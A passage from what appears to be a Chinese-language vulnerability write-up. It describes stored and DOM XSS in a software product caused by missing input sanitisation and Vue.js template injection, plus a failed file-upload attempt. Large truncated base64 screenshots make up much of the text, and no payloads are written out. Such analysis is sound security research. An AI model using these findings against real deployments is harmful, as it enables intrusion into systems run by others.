lZAQN23KhNYdu2//oYah0MKi4vLyyvbJSTiO33WhVDN9/OkXvXt1m/Do6Iah0MmTHkUIbd+xi2pkwvETMydjGHYvz77/wOGHORQaHBwYGCg7d+4i/Rv28/WRh4XKQ0O8vb2c+1AUVVNTe6u8vLCoRNVkjqX7wttL9NiEsfdyhvyCIvoO1Nvbq1+fns727Ju5XdI6PffsvKKiEmfj/oN/dE5NmTZ1gkQilkrEJPlnJKhO9fPefR7/yceOHm6z2fYfOEQ//GH3F4GyAI890Wi02TdzcnLyL1y6cv7CZWc7hmGMBjH8QQP7IYSOHj2J4/hdX+P9evf9V7QsFCqViDumtMeZOEJIq9UajWa3HSiHVq831NWpzGaL2WzW6wLine truncated
|
||||
<p blockindex=83>代码分析:<br>
|
||||
后端对输入点只做了 trim 过滤操作,前端也没有有效的过滤<br>
|
||||
<img src="data:image/png;base64,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 truncated
|
||||
<p blockindex=84>前端也没有发现相关的过滤,搜索到了 dompurify 关键字,但是没有使用。<br>
|
||||
<img src=data:image/png;base64,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 truncated
|
||||
<h4 blockindex=85>Vue.js 模版注入(DOM XSS)</h4>
|
||||
<p blockindex=86>原理:<br>
|
||||
Vue.js 是一个客户端模板框架,会将用户的输入嵌入到这些模板中,通过构造恶意输入,可导致被 Vue.js 错误解析执行。<br>
|
||||
<a href=https://www.freebuf.com/articles/web/257944.html>参考</a></p>
|
||||
<p blockindex=87>后面几个XSS基本上都是通过 vue.js 模版注入触发 DOM XSS,只是注入点不同,不再展开分析了。</p>
|
||||
<h3 blockindex=88>v3.13.0 文件上传</h3>
|
||||
<p blockindex=89>这里没成功,跟进发现有对后缀名进行限制,后续再研究看看。<br>
|
||||
<img src=data:image/png;base64,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 truncated
|
||||
<h2 blockindex=90>五、总结</h2>
|
||||
